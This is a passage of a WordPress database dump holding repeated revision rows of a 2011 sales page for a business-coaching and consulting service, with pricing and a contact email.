#ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:46:16', '2011-01-02 00:46:16', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-115/', 0, 'revision', '', 0),
(1417, 2, '2011-01-01 17:54:04', '2011-01-02 00:54:04', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific issue in their business  development that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will provide specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to possibilities. To do that, let your burning desires guide the way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum Investment: $2,500 USD monthly for period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:54:04', '2011-01-02 00:54:04', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-117/', 0, 'revision', '', 0),
(1418, 2, '2011-01-01 18:00:14', '2011-01-02 01:00:14', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific issue in their business  development that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will provide specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to possibilities. To do that, let your burning desires guide the way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum Investment: $2,500 USD monthly for period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 18:00:14', '2011-01-02 01:00:14', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-118/', 0, 'revision', '', 0),
(1419, 2, '2011-01-01 18:06:55', '2011-01-02 01:06:55', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific issue in their business  development that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will provide specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to possibilities. To do that, let your burning desires guide the way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum Investment: $2,500 USD\r\nmonthly for period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 18:06:55', '2011-01-02 01:06:55', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-119/', 0, 'revision', '', 0);
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(1420, 2, '2011-01-01 18:08:24', '2011-01-02 01:08:24', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific issue in their business  development that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will provide specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to possibilities. To do that, let your burning desires guide the way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Minimum Investment: $2,500 USD\r\nMonthly for a period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 18:08:24', '2011-01-02 01:08:24', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-120/', 0, 'revision', '', 0),
(1421, 2, '2011-01-01 18:16:45', '2011-01-02 01:16:45', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific issue in their business  development that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n\r\nThrough innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. To leverage your enhanced positioning, we will provide specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.\r\n\r\nFrom your increased awareness of the entrepreneur’s abundance mindset and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for 